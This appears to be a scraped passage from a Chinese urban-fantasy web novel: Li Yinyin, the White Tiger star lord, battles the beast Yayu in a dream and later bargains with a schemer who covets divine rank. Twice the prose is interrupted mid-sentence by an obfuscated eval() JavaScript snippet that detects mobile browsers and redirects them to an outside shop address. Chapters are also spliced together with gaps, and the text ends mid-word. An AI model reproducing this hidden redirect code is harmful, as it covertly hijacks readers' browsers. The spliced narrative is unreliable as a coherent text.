“咱俩也不是第一天见面,低情商沟通效率更高一点,”李寅寅毫不在意,“你就说,是不是这个意思吧。” “那么,如果这是真的,你愿意做我的臣子吗?” 李寅寅连一句迂回的客气话都懒得给:“不愿意。大家一起干,最后一结算,你当天帝,我给你打工,凭什么啊,你比我强在哪儿?” 窫窳似乎真的在认真思考,片刻后,他提出了第二个建议:“我为天帝,你为天后,也未尝不可。” 李寅寅脱口而出:“我为天帝,你当我那死去的白月光,不是更好?” “咯咯咯……”窫窳发出婴儿般清脆的笑声,在昏暗的长街尽头回荡。 “蓐收,你还是这么傲慢。” “多谢夸奖。没实力的人是傲慢不起来的,早就被弄死了。”李寅寅放松地站在那里,双手插兜,就好像眼前的窫窳并不是曾经为祸人间,害了无数性命的凶兽,而是那个她认识的老实天神。 “看来,我应该让你先认清现实了,没有七宿的白虎星君!” 最后一个字之后,整个天地间响起如陨石落地一般的惊天巨响。 窫窳似乎只是挪动右前掌,往前走了一步。 那一步,将脚下的地面踏碎,裂痕不断向前延伸,大地向左右裂开,金赤色的火焰从地底喷薄而出,两边的民房摇摇欲坠,继而倒下,直落进地缝的岩浆之中,四周充斥着浓重的硫磺气味。 “你这又是何必呢,把力气浪费在幻境里,又伤不了我分毫。”李寅寅拍了拍落在肩膀上的灰。 “确实伤不了你,但是你的七宿呢?他们现在灵识未被唤醒,就是普通人,三魄七魄离体,连你也救不回来了,只能等待轮回重生……在现在这样无序的状态下,谁给他们轮回?彭阳虽然无能,好歹在临死前,为我做了最后一件事,你猜在这梦境里有多少生魂?这些生魂之中,有没有白虎七宿?” 就算没有白虎七宿,还有那么多无辜人类的生魂,他们在梦境中产生的恐惧与绝望是妖物的绝好食粮。 到时候,全市就会多出几万个昏迷不醒的植物人,还有,不知有多少妖怪会赶来开饭。 到时候妖气怨气一并冲天而起,只怕天谴雷击会不分青红皂白,对整个城市进行一次如同核平一般的大清洗。 李寅寅叹了口气:“你还真是不要脸。” 窫窳摇摇脑袋:“多谢夸奖。” “虽然很麻烦,不过,也只好把你杀了。”李寅寅的右手虚握,一柄白色长刀慢慢显形。 窫窳一眼认出:“噬魂刀,好久不见了,没想到再见,是对着我。” 李寅寅懒洋洋开口:“你要是现在收手,咱们井水不犯河水,它也可以现在就回去睡觉的。” 窫窳也笑了:“你在害怕。” “嗯?你是不是把主语弄错了?” 窫窳越发得意:“噬魂出鞘,非魂飞魄散不回。以前,你从来不会在亮出噬魂刀的时候说这么多话,其实……你是不是已经提不动刀了?” 李寅寅随意甩了甩手中长刀:“其实,我已经去山东进修过高情商对话了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13716202|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>话音未落,她已到窫窳面前。 “当啷”一声,噬魂刀与窫窳头顶弯角相交,火星四溅。 李寅寅掌心被震得发麻,窫窳晃了晃脑袋,显然那一震,它也没讨得好去。 可他兴奋地抬眼看着李寅寅,用婴儿般可爱的声音透出毒蛇般的恶毒:“终于装不下去了吧!” 全盛时期的白虎星君,怎么可能连窫窳的角都砍不断。 李寅寅借反震之力,向后退出几步,与窫窳拉开距离,她佯做淡定:“看在我们曾是同僚的份上,稍微放点水,别把客气当福气。” “你不愿意帮我,也不要紧,吃了你的心脏,也能提升法力,助我入主血海地狱,你放心,我保证吃的一点都不剩。” 窫窳急奔向前,转瞬便到了李寅寅的身边,张开血盆大口,便要向她的脖子咬下,噬魂刀从斜下方向上挑去,窫窳被迫后仰。 “啪!”窫窳粗壮的尾巴重重抽在李寅寅的腰腹,正是无伤留下的五个伤口之上,再也掩饰不住的鲜血冲了出来,将衣服洇出一片暗红。 一阵剧烈的刺痛如电流,瞬间从伤口发散到全身,李寅寅左手捂住腹部,神色不变,却没有上前再战。 “原来你已经受伤,你可真会装,把我也给骗过去了……”窫窳揶揄道,“看来,我确实没有必要拉拢你这么一个无用的废物。” 它再次向前狂奔。 李寅寅手掌上的鲜血一滴一滴落在地面,忽然,她仰天长啸,漆黑一片的天空,忽然风流云动,电闪雷鸣,在云层之上,出现了无数高大的金色身影。 下层是无数天神星宿。 中层是帝俊羲和,有乘青鸟戴胜,豹尾虎齿的西王母。 最高处,站着人首蛇身的创世女神女娲和手提巨斧的盘古大神。 在雷光之中,她们目光锐利,俯视着窫窳。 窫窳大惊,一时间僵在当场。 暗青色兽血在昏黄的灯光下迸出三尺,飞溅在李寅寅的身上。 噬魂刀从窫窳左肩落下,从右肩划出。 一颗兽头被平平整整削下,落地,向前滚动,撞在垃圾桶上,犹自不甘地发出怒吼。 有毒的血液让李寅寅全身麻痹,她暗自苦笑:这下是真的提不起刀了。 她在路旁花坛边坐下,右手持刀,支在一旁,静静等待毒性散去。 “你怎么样?脸色很难看,是不是受伤了?”苏灵衣从夜市那边走来,满脸关怀。 李寅寅用最后一点力气,抬头向他一笑:“法力又升一层,从未感觉这么好过!” “我刚才跑了,对不起,我还是有点害怕……”苏灵衣在她面前蹲下,虔诚地看着她:“你打我吧,不然,我良心不安。” 22. 第 22 章 “我们没有契约关系,你不必对我有什么承诺。”李寅寅淡淡道,她懒洋洋地斜倚着花坛旁的雪王塑像。 “你对我来说不过是一个陌生人,你跑了对我来说我没有任何影响,还不如看到蜜雪冰城的柠檬水涨价到五块钱造成的伤害大。” 苏灵衣仰头望着李寅寅,眼神清纯无辜:“对不起,我修练时间太短,什么都做不了。” “刚才那满天神仙的形象,你是怎么弄出来的?”李寅寅努力让自己展现在苏灵衣面前是慵懒从容的模样,而不是重心不稳,一头栽进花坛。 苏灵衣眼神微动:“不是你请来的吗?” “如果你的嘴里还是一句实话都没有,那我们就没有什么好说的了,你趁早滚开,我不杀你这种丑八怪狐狸。” 苏灵衣:“……” 他微微低下头,站起身:“就算你讨厌我,至少先出了梦境再说。这里是梦的边缘,得走到夜市上,否则乔金泉醒后,我们可能会出不去。” 李寅寅只是平静地看着他,连一个字都没有说。 手中的噬魂刀在远处路灯的微光下,反射出森森幽白的光。 “唉,何必呢……我知道你不是狴犴,刚才窫窳的尾巴打在你身上,我都闻到血腥味了。在别人的梦里我什么都做不了,出去以后,我会好好帮你治疗的。”苏灵衣诚恳地伸出手:“伤口很疼的话,我可以抱着你。” “抱着多麻烦,要是能吃下一只满嘴谎话的狐狸妖丹,多深的伤口都能马上好。”李寅寅冷冷地看着他。 苏灵衣站起身,微微叹了一口气:“既然这样,我也不勉强你了,保重。” 他转过身,向烟火喧闹的夜市走去。 李寅寅微微松了一口气,她的手指已经完全麻木,再也握不住噬魂刀,莹白的刀身从她的手中脱开,在将要落在地上的瞬间,化做光点,回到她的掌中。 她依旧保持着与雪王的亲密姿势,心中暗想:神农怎么就没有记下被窫窳的血喷过以后,多久才能恢复。 也可能凡人被喷了之后都死了,没有参考资料。 唉……还是不够全面啊! 此时,窫窳的头还在地上,没有彻底的断气,依旧死死地瞪着李寅寅:“我会复活,而你,会被捆住手脚,拴着头发吊在石盘上,永世不得解脱。” “呵,要是能复活的话,你哪有这么大的气性。”李寅寅歪着脑袋,微闭着眼,“我和青龙互相砍了几千年,在仙界的时候还是很和谐友好的。” “你什么都不知道。我能复活一次,就能复活第二次!”窫窳脸上浮出狰狞的笑容。 李寅寅觉得他这是进入临死前的妄想了: 自盘古开天劈地以来,便绝无死而复生这种事。 修行到位,便是踏碎虚空,进入上一层境界。 人活百岁已是高寿,在上一层境界,百岁不过是起步,延续寿数,生生不息。 总之,绝不是死后诈尸。 忽然,她闻到了一股熟悉的怪味儿,那是人身上的怨气,刚才明明已经平和下来了啊! 对不起乔金泉的三个领导已经在他的面前互殴,消了他的气。 其余人类的生魂,也不过是被窫窳临时拘进来的,他们之间并没有仇怨,甚至都不认识。 何况乔金泉现在得到了爱情的滋润,正美着呢,构筑出来的梦境,都是甜甜蜜蜜的温馨场景。 怎么可能还有怨气这种东西会蹿出来? 难道……是苏灵衣。 李寅寅现在就是后悔,刚才图省事,把苏灵衣赶走,而不是用言语把他控住,让他在自己眼皮子底下老实待着,等毒性散去,再好好收拾他。 这货虽然职级不高,但是在精舍里也待了这么久,以狐族狡诈的本性,很难说他到底掌握了精舍里多少秘密。 以如今的情势看,苏灵衣想要入魔远比修仙容易多了,难保他不是在精舍这段时间,掌握了通过怨气修炼的法门。 如今无伤死了、窫窳也死了,整个精舍里除了他之外,只剩下一些法力低微、灵智未开的小精怪。 他们只会随时保持着微笑,在收到命令之后回复:“收到。” 苏灵衣俨然已经是这个精舍管理组里唯一的权威。 对于一只靠后天苦修才能开灵智的狐妖来说,有速成修炼的方法不用,岂不是有病? “开始了!开始了!”窫窳狂喜,脑袋在地上不住地摇晃。 李寅寅微微动了动手指,好像恢复一点了,只要她的一条胳膊能动,不,只要她的咬合肌恢复,妖来啃妖,魔来咬魔,她的牙也未尝不利! “我就知道,你受伤了……你明明自己也很不坦诚,怎么只会说我狡诈。”一个熟悉的声音再次响起。 苏灵衣的脸上带着无可奈何的笑容,欺身靠近李寅寅。 李寅寅抬起手腕,掌心白光初绽即收,在主人没有可以握刀的力量时,噬魂刀不会出来,避免主人被反噬。 曾经李寅寅很欣赏它这种品质,现在她却希望噬魂刀至少能出个虚影,吓吓人也是好的啊! 苏灵衣像是完全没有觉察到李寅寅的意图,他抓住那只抬起的手腕,搭在自己肩上,紧接着俯身,双手托住李寅寅的后背和腿弯,大步向亮着灯的夜市跑去。 方才还和乐融融的夜市上一片混乱,手拉手逛街的情侣互相猜疑对方是否出轨,父亲怀疑十八岁的儿子偷卖家里的房子,母亲怀疑五岁的女儿想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13722537|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄死弟弟。 摊主们更是为了抢更好的市口、交管理费而直接泼油挥刀。 苏灵衣抱着李寅寅,身形灵活地在满天飞舞的刀子、筷子、滚烫油锅和拳脚之间穿梭,向乔金泉和李抗美散步的公园跑去。 “必须马上让乔金泉醒过来,不然梦境里的生魂都会死。” “你不是很厉害吗?连太古神仙都能变得出来,找我干什么?”即使身体不能动弹,口舌上也绝不退缩。 苏灵衣叹息:“我也想啊,没想到李抗美是你的那只鹅!我改变不了它的意志。快让李抗美跟他说再见,然后消失,不然,他打死也不肯睁眼醒过来。” 其实,乔金泉已经知道自己是在做梦了,只是这个梦太美,他不愿意睁开眼睛。 他对自己的梦境有强大的控制力,只要眼睛不睁开,梦境就可以继续。 夜市兵荒马乱,夜市隔壁的小公园温馨甜蜜。 乔金泉与李抗美正肩并肩,坐在小湖边,不知道在说什么。 苏灵衣一边跑向他们,一边继续恳求:“算我求你好不好,快让那只鹅走!不然咱们都得交待在这里,你……” 他的话戛然而止,李寅寅看见他双眼发直,忽然喷出一大口鲜血。 在他背后,站着已经完好无损的窫窳。 说完好无损,似乎也不太贴切,它的外形又变了,脑袋变成龙头,身体如猞猁,右爪深深刺进了苏灵衣的后心,又从胸口穿了出来。 “走!”苏灵衣用力将李寅寅向前方抛出。 “谁都别走!”窫窳发出震耳欲聋的咆哮,要向李寅寅追去。 它用力想从苏灵衣身上拔出利爪,却怎么也拔不动。 苏灵衣双手紧紧握住从胸口穿出的爪趾,手中燃起幽绿色的狐火。 那是他全力燃起所有修为时,才会泛出的光。 “嘭”,又是一声闷响,窫窳的左爪重重拍在苏灵衣后背。 苏灵衣身体猛震,双手再也抓不住。 窫窳冷冷一笑:“自不量力。” 他再一抽右爪,却还是抽不动。 此时,苏灵衣手中幽绿色的狐火,转而变成明亮而耀眼的绿光,如同黑夜中绽放的烟花。 “傻逼!你想死吗!你根本杀不了我。”窫窳咆哮,他着急了,这是修行千年的狐妖燃烧生命力才会出现的光焰。 苏灵衣是想以自己的生命为代价,重伤窫窳这具刚刚复活的身体。 “我杀不了你……她可以……”苏灵衣的声音越来越低,他扬起嘴角,闭上眼睛:“我妈妈会来接我,你只会死无葬身……之……地……” 窫窳奋力挣扎:“她还没死!你要是杀我,永远也见不到她!” 50-60 第51章 我要学习,我要进步!…… “原本有天庭管束人间,你我虽有仙籍,却依旧要受管束,这么不自由,还不如人间有钱人,如今束缚已经不在,只要集四极正神之力,就能消弥天谴雷云,从此随心所欲。” 四极正神,掌四方天空,只要四神同心,一起张开天幕,天谴云就会失去目标,类似于雷达干扰。 李寅寅笑笑:“我又不想干坏事,怕什么天谴雷?” 怕天雷的自然是饕餮,跟她有什么关系。 龙兴伍不以为忤,为她倒茶:“星官自然是德行高尚,与我不同。但是,星官为何会在人间?待人间事了,又要去哪里?” 二十八宿来人间,当然是为了历劫,历完就能回天庭,可是回天庭的路断了,从朱雀的生死簿记录来看,就算是正神,也会不停的轮回轮回再轮回。 而且似乎活得并不好,朱雀本是带来吉祥的正神,但她却因为一次又一次的善行而枉死。 如果李寅寅真的是走正规转世流程下来的神仙,那她会为饕餮的建议狠狠心动。 毕竟有钱有权,天下无敌之后,谁都想长生不老,享受成果。 不然那么多年轻时候杀穿地图的帝王,怎么到老了都在满世界找仙药,求仙方,寻仙人,就想长寿。 只不过,李寅寅是个野路子。 想当初,她的人身被青龙一箭射落到鄱阳湖里淹死之后,灵魂回归天庭正位。 没等椅子坐热,她便去找青龙晦气,结果人不在,说还在下面,她转念一想,这厮凭什么还在下面过着快乐日子。 白虎星君不服气,白虎星君私自下界,她一定要亲眼看着混蛋青龙是怎么被多疑又事儿逼的紫微星逼死的。 她甚至为此操练了一个大型歌舞乐团,准备了好多烟花爆竹,就等着青龙被他辅佐的皇帝名正典刑、剥皮揎草。 天庭对老实神仙管束极严,私自下界的罪名很大。 李寅寅就不一样了。 大家都接受了白虎就是个脾气暴躁、有仇必报的人设,偷摸下界待一两天就随她去吧,省得她找不着青龙发泄,闲得生事: 今天找齐天大圣讨论御马监和蟠桃园奖励制度的缺失; 明天找二郎神研究桃山好劈还是华山好劈; 后天找三坛海会大神哪吒谈心,琢磨天王手上那宝塔的材料在什么条件下会自动崩解…… 搅得天庭人人自危,又拿她没办法,星宿正神是宇宙法则,不是后天封的神。 砍了她一个,还有后来人,生生不息,继承白虎星宿的人,性格不会相差太多,一个死德性。 与其再把一个生人养熟,不如借着跟她多年培养起来的关系,让她发疯,也只对着青龙一个,不要祸害别人。 结果,精心训练的大型歌舞团还没来得及正式表演,李寅寅就觉得全身不舒服,十分困乏,只得找个地方睡觉,一睡睡到现在。 正神之身下凡,不受人间法则约束,不必经历生老病死,饕餮开的条件对李寅寅来说,毫无意义。 龙兴伍看出她对“长生不老、不入轮回”没有兴趣,又告诉她一件事:“得正神之位,能随意进出三千世界,你可以像天帝一般,在三千世界横行无忌。没有天庭,你就是三千世界的权力顶峰。” 这件事对于苏灵衣来说非常重要,对李寅寅来说,还是没什么意义。 眼前谈判对象软硬不吃,龙兴伍换了一种方式与她对话:“俗话说,匹夫无罪,怀璧其罪,你清高,你了不起,你看不上青龙之位,但是,其他六位星官,也像你这样无欲无求吗?” 成为青龙星君,就能管束手下,要他们干什么,就干什么,不可违抗。 原本就高高在上的人再怎么光辉灿烂都无所谓,他们本来就在云端。但是一直以来水平相似,地位相当的人,突然获得飞升一般的成就,还能对自己发号施令,那种感觉……不是谁都能爽快接受,更不可能扑上去抱大腿,求大佬带飞的。 李寅寅已经两次推让,她估摸着情绪也算铺垫到位了,立马答应显得太假,现在是第三次,应该可以答应了。 李寅寅故作犹豫:“如今青龙都不知道在哪里,你要怎么拿到他的神格?” 龙兴伍见她松口,满意地向后仰靠在沙发上:“不着急,只要你同意了,下一步我自有安排。” 李寅寅还是没有答应他:“夺取神格,必遭反噬,那位朱雀对此有什么头绪吗?” 所谓“拼得一身剐,敢把皇帝拉下马”,那也是有一定的把握了才这么干。 就连明朝那两个什么都没想好,单纯想进皇宫吃好喝好,拉了一百多人闯宫的二货,也是大脑狂热,完全没想过自己的下场。 哪有人明知道百分之百会死得难看,还非得干这种没名没利的事。 谁都想要利益,厌恶风险。 “这些她暂时还没有告诉我。呵呵,不愧是常在庙堂之上的青龙七宿,想得真周到。”龙兴伍夸赞道。 “等朱雀正位再说吧,现在我至少还是二十八宿之一,不是光脚的,没有冒险一搏的必要。”李寅寅一副投机分子的嘴脸,倒是相当符合饕餮对青龙七宿的刻板印象,他没有再要求李寅寅必须立马做出保证。 只要勾起了“尾火虎”的欲念,还怕她跑了不成? 李寅寅又问:“那么,下面我什么都不用做,只要等朱雀成功,再如法炮制?” “那自然是不行的,需要有足够的灵气,才能保证夺取神格之后,顺利融合,为保万全,星官大人得从现在开始准备起来。” 难怪,朱雀又是人血浇灌,又是猫骨导引,不知道光嘉苏为此准备了多久。 李寅寅满脸愁容:“现在到处都是摄像头,以前没有布局已经来不及了吧。不知那位是怎么做的,说来让我参考参考?” 自己一点力气和手段都不想费,只想伸手要答案。 龙兴伍也完全没有不高兴的反应,这也符合龙兴伍对青龙的刻板印象,有事别人干,有功自己抢,有锅再顺利成章地甩到别人头上。 “不必担心,自然是有办法的,李老板的宠物生意便是绝佳助力,比如宁大的那一缸鱼,只要李老板稍稍使一些手段,便能吸取人类处于巅峰时期的灵气。” 他顿了顿:“不过抱歉,那里已经被我先占了,李老板可以另觅良处,其实,在城市里还有一处绝佳的位置,墓地。 墓地晚上无人,想做点什么也没有人会发现,也不会有人轻易墓园随意挖掘。” “那里有灵气?只有阴气吧,”李寅寅不满道,“收完了我做不了青龙,倒是能做阎王。” “呵呵,这你就不知道了,那里也是人类最有灵气的地方,或是真情流露,或是表演真情流露,他们都会竭尽全力,城市里还有同样的地方是医院,如果你有兴趣的话,也能去试试。那里的气息,十分适合青龙星宿的神格。” 这是明示身在朝堂的青龙就是表演型人格,整天装腔作势。 李寅寅心里好笑,不知道这位传说中的龙子,怎么对青龙十分看不上的样子。 “我听说你是龙的第五个儿子,不知你家长辈跟青龙是什么关系,先弄明白了,将来也好称呼。” 龙兴伍大笑:“哈哈哈,原来竟然连你也不知道我真正的身份。” “我们青龙规矩很严的,只管做好自己的事,两耳不闻窗外事,孤陋寡闻也很正常。”反正是往青龙身上泼脏水,李寅寅一点心理负担都没有。 龙兴伍悠然答道:“我乃炎帝后人,缙云氏之子,为保炎帝一脉兴旺,我率众踏遍河川,获取战利品,保我族人生活无忧,打仗抢东西,当然要不择手段,白虎星君在人间为将做帅的时候,比我还要贪。” 刚刚还在快乐给青龙泼脏水的李寅寅笑容一僵,不是,这里面怎么还有我的事呢! 龙兴伍继续说:“阪泉之战后,成王败寇,轩辕氏要绝了我祖一脉民望,就把我做的事,翻了百倍,遍传天下,再砍下我的脑袋,传首九边,让天下人知道,炎帝一脉贪婪无耻,不配做天下之主。 我死后,轩辕氏封了我族人为夏官,掌管夏令之事,不过是芝麻小官,无关痛痒,从此再无争霸天下的能力。 至于龙的第五子,不过是个误会,一条龙把我的尸体吃了,被人剖了出来,传着传着,就变成我是龙生的了。” 李寅寅顿悟,缙云氏是夏官,朱雀也是夏季的象征,难怪……不是无缘无故找上门的。 李寅寅问出她最想知道的问题:“既然你已经死了,又是怎么找回记忆的?” “天道不公,自然有能者想要取而代之,他们将我的灵魂从地狱深处取出来,投身为人。呵,世人都骂我是凶兽,却不知人心比我还要恶,如果不是如此,我也找不到这么适合的投胎之处。” “他们?是谁?” 听起来不止一个人。 龙兴伍没有正面回答:“等将来有机会,我自然会把你引荐给他们认识。” 听起来像传销的中层说要有机会介绍自己的下线跟高层见面:“等你做到银章主任了,就介绍你跟钻石主任认识。” 李寅寅又转了个方向:“龙家有什么光荣事迹,何德何能能得到你这样的……金孙贵子?” 龙兴伍冷笑一声:“星官不必挖苦我,积善之家的大门,岂是我能进得去的?” 他就像在说跟自己无关的事情一样,把龙家的往事全抖了出来。 龙家在清朝的时候,就是一方乡绅,有那么一点钱,也有那么一点权,他们想要更大更多的权力。 一百多年前,有一个风水先生告诉龙家先祖:“你家如果想要家族富贵,长盛不衰,就要九代洗女,每洗一次,就能多一层福气,如果哪一代没有洗女,全家积下的福气便会被这个女子带到夫家,家族会衰败。” 所谓洗女,就是长房头胎如果是女儿,出生就要溺死,越惨越好,让女婴不敢投胎。 “不敢投胎?”李寅寅撇撇嘴,“婴灵最凶,不敢投胎,就围在家宅附近,这能积什么福?” 龙兴伍:“你想到的,他们也想到了。命数本来就弱的那些,是接生婆溺死,命数强的,是由她们的母亲亲自动手。不管挣扎多么激烈,求生欲多么强的婴灵,被母亲按在水里之后,就再也不动了。” 李寅寅:“……” 龙兴伍:“婴灵再恶,终是敌不过对母亲的依恋,没有一个留下做乱。” 李寅寅感叹道:“能找着这么多心狠手辣的女人做媳妇,龙家男人也真是有本事。” “她们都很听话,以夫为纲,在嫁入龙家的时候,就被反复教训生出女儿是耻辱,会被丈夫厌弃。她们为保自己的荣华富贵和丈夫的宠爱,什么事做不出来?何况,子女一向被视为私产,不管弄死多少,也不会有任何人追究。” 李寅寅点点头:“岂止不会追究,还能名列二十四孝,被天下人传诵。” “李老板说的是郭巨埋儿吧,哈哈哈,你说人类是不是很有意思,自己杀亲骨肉都能被夸赞,我在战时吃几个陌生人做军粮,就把我说成凶兽了。” 李寅寅想起龙兴伍前面那些夭折兄弟姐妹的故事:“可是,你之前,还有男孩夭折,是身体不好?” “是龙老头自己学杂了。”龙兴伍对这个便宜爹毫无敬意,“他认为献祭十三个孩子,这十三个孩子原本的寿命就能加到他的头上,可笑他做事不干不净,娶的几任老婆,都没有他先祖的老婆那么听话,没有被母亲亲手杀死的婴灵,都缠着他,如果不是那些婴灵引路,替我挡住孟婆,我也没有这么顺利投胎,连孟婆汤都不用喝。” 现在龙老头身边一个婴灵都没有,自然是因为有饕餮在,不愁龙老头不被折腾死。 李寅寅忽然想到周金凤:“那个女人呢?你怎么容得下她?” “周金凤?她很贪婪,有很多事情,我不方便做,她会替我做。” 龙兴伍看着李寅寅:“我对你说了这么多事,是为了表示合作的诚意,希望你好好的,认真考虑我说的事情。不要错过大好机会,否则,如果被其余人捷足先登,那么,我只好与其他星官合作了。” “明白明白,多谢你先想到我。” 李寅寅嘴上客气,心里明白:哪里是先想到,只是刚好遇上,要是先遇上别人也一样,说不定他已经先遇到别人了,对谁都是一个话术,几头下注,分散投资风险。 从祥龙公司出来,已是黄昏,李寅寅打算叫车去城郊的公墓,想看看是不是已经有谁在那里布置下了。 等了二十分钟,一个接单的司机都没有,加了五块钱都没有人愿意去。 在继续加钱和扫共享单车之间,李寅寅选择回家。 白天有公交车去! 反正又不急于一时。 “青龙星君真是医者仁心!”李寅寅夸赞道。 这几天孟清华一放学,就到宠物店来检查苏灵衣的情况,堪比医院里的医生每日查房。 李寅寅顺便把今天从饕餮那里打听到的事情告诉他:“我的手下们都没有星官的力量,你的手下们可是个顶个的厉害,你小心哪天被他们绑了去,夺了你的神格。” 孟清华:“不可能。如果七宿夺了我的神格,那必然有递补,否则,七宿不全,夺了神格也没用,你不就是一个活生生的例子。” 李寅寅:“我感觉你好像在嘲笑我。” “我说的难道不是事实?” “死小孩,你得感谢现在是法制社会,不然你已经被我捅死了。”李寅寅翻了一个白眼。 孟清华继续说:“星官命格无法通过后天修炼得到,也不可能一身兼两命,如果尾火虎变成了我,那么,尾火虎星宿就空了,他要怎么办?还有,就连夺取后天神的神格,都会有反噬,贰负和危意图夺取窫窳神格是什么下场?” “他说得很笃定,也许,真有什么了不起的秘法,可以解决这个问题。” 孟清华不屑道:“能有什么……” 说到一半,他顿住了:“也许,真的有……灵山十巫。” “那十个二半吊子?他们倒是能把人复活,就是不管复活成什么,看看他们把窫窳变成什么鬼东西了。颛顼被他们男转女,变成了鱼妇,杜宇变成杜鹃,还被人编排‘望帝春心托杜鹃’,我看杜宇一点都不想变成鸟。” 李寅寅没跟灵山十巫打过交道,不过对他们的战绩是一百个看不上。 “白虎果然只知道打打杀杀,对于朝堂之事一点都不懂。”孟清华老气横秋地背着手,冷冷嘲讽。 “如果他们当真像你说得这样,连连失误,天帝怎么可能还容得下他们?你有没有听说过他们得到过惩罚?” “天帝把神和人都弄死,变成动物,是图什么?总不能是做什么邪恶的人体实验吧。” “不好说。” 李寅寅笑笑:“真是,你知道天庭听不到你说话,说话敢这么放肆。” 孟清华冷哼一声:“你说话不放肆,你谨小慎微,囊血射天的时候,拿箭的姿势想必很恭敬。” 那是李寅寅难得能代紫微星当天子的短暂体验,她投胎成了商王武乙,天下安定后,有点飘,就用皮囊装了鲜血,挂在高处,用箭射,说这是射天,然后尽职尽责的天谴云赶来,“库叉”一道雷下来,她就被雷劈死了。 回归天庭之后,连她自己都说不清楚自己为什么突然看老天不顺眼,倒是其他天神情绪稳定:“白虎星君干出什么事都很正常。” 被孟清华揭短,李寅寅麻溜地转移话题:“你对朱雀的事怎么看?” “我连朱雀的气都没感应到,看不了。”孟清华是一个严谨的初中生。 他看了一眼苏灵衣:“不过,你确实要多弄些灵气来,不然,他会很难受。我不可能一直守在他身边,我要参加竞赛,我还有好多考试呢。” “你比完赛再来嘛。” “比赛在外地!” “以灵体状态来就行,不用肉身亲临。” 孟清华冷着脸:“白虎星君好大的威权,把我都给安排得明明白白!” “我……我没事。”苏灵衣急忙出声,他真担心青龙甩手不管,李寅寅真的会干出什么过激的事来。 这几天李寅寅和孟清华叙旧的内容,他全听到了,对李寅寅的性格有所了解:对属下和亲信非常好,什么劳民伤财,不远万里送药,为一人报仇而大开杀戒之类的事情没少做。 亲信和属下对她死心塌地,却也太伤天理人和,没少被天谴。 李寅寅摸摸他的脸:“少逞强了,放心,我有数,就算招天谴也不会死。” “可是,不会死,也会疼的吧。”苏灵衣认真地看着她。 李寅寅的手一顿,白虎星君在所有人心中悍勇无双,带领大军从一个胜利走向另一个胜利,至于疼不疼,没有人在意。 “你好好休息,别乱想。”李寅寅拉着孟清华出去,“你也别在这杵着,影响病人。” 孟清华被她硬拖出去,嘴上还不饶人:“你脸红了。” “精神焕发!” “天塌下来有你的嘴顶着。” “放心,我不会抢你的那半边天。” 到楼下,李寅寅才松开他,孟清华揉着手腕:“啧啧,望帝春心托杜鹃,白虎春心托藏狐。” “胡扯,我是觉得他身上有一种熟悉的感觉,说不定太古的时候跟我有什么渊源。” 孟清华从一旁的花瓶里抽出一只康乃馨,故作深沉:“姑娘,我对你有一种熟悉的感觉,我们是不是曾经在哪里见过~你有男朋友吗?” 说完,他飞快向旁边一跳,躲开李寅寅砸过来的纸团。 纸团飞向门口,砸中一只狐狸:“哎呀。” 那只狐狸长得真漂亮,一身火红皮毛,像人一般直立着,身上还斜挎着一只绣着狐狸头像的小布包,李寅寅和孟清华一起看着它。 它十分紧张:“你……你们好……我我我我……是来找找找人的。” 李寅寅问道:“你找藏狐?” “不不不不是,我是来找一个人美心善温柔暖心的老板,叫……”它从小布包里摸出一张纸:“李寅寅。” “是我。”李寅寅指了指自己。 赤狐飞扑着抱住李寅寅的大腿:“白虎星君大人!!救命啊!我是心月狐呀!我实在没有办法了,我们星君自从到了人间,就没消息,怕是卡在轮回里出不来了,现在我只能指望你了!” 李寅寅指指身旁的孟清华:“他,就是你们青龙星君。” 心月狐转头看着孟清华,用力抽了抽鼻子,又抱着李寅寅的大腿:“白虎星君不要开玩笑啦,他就是一个普通人类小孩嘛,全身上下哪有一点我们星君的味道。” 孟清华深吸一口气:“苏元,你在人间胡乱下桃花煞,被囚在银河水牢一百五十年,是我向天帝求情,你被关了四十年就出来了!” “你……”心月狐小心翼翼地打量他,还是满脸不信,“可是,真的没有味道。” 孟清华认命地摊开手,不再解释什么。 李寅寅摇摇头:“算了,先不说这个,你怎么了?为什么不是人形?为什么要我救命?” 心月狐双眼含泪:“是朱雀星君,她要杀我!” 青龙与朱雀一向井水不犯河水,李寅寅不解:“她为什么要杀你?” “不知道哇,我问她,她就说我碍事,对着我就打,你看我的尾巴,呜呜呜,疼得我都没法变成人了。” 毛茸茸的尾巴尖上被烧糊了一大块,闻起来确实像朱雀的火焰。 “她在哪?” “不知道,我是在学校里遇到她的。” 现在心月狐是宁大的学生,白天看到李寅寅,闻到她身上白虎星君的气味,打听到她的名字和店址,想着哪天有空拜访一下,没想到晚上又遇上了朱雀,二话不说就对她下毒手,她这才连滚带爬的冲过来寻求庇护。 心月狐的技能是技艺百巧,指望她能单挑朱雀那是不现实的,李寅寅看了一眼孟清华。 孟清华:“人美心善温柔暖心的李老板一定不会见死不救的吧?” “呵,刚才有些人是怎么跟我大小声的?” 孟清华闭了闭眼睛,像下定决心似的:“苏灵衣完全康复之前,我每天过来。” “这还差不多。”李寅寅转头看着心月狐,面露温柔微笑:“你今天晚上就住这,朱雀不敢来的。” 心月狐低下头,声音小小:“星君大人,能不能陪我去学校哇。” 李寅寅诧异地看着她:“啊?为什么?你想让我把朱雀打死吗?” “不是,我有一个western 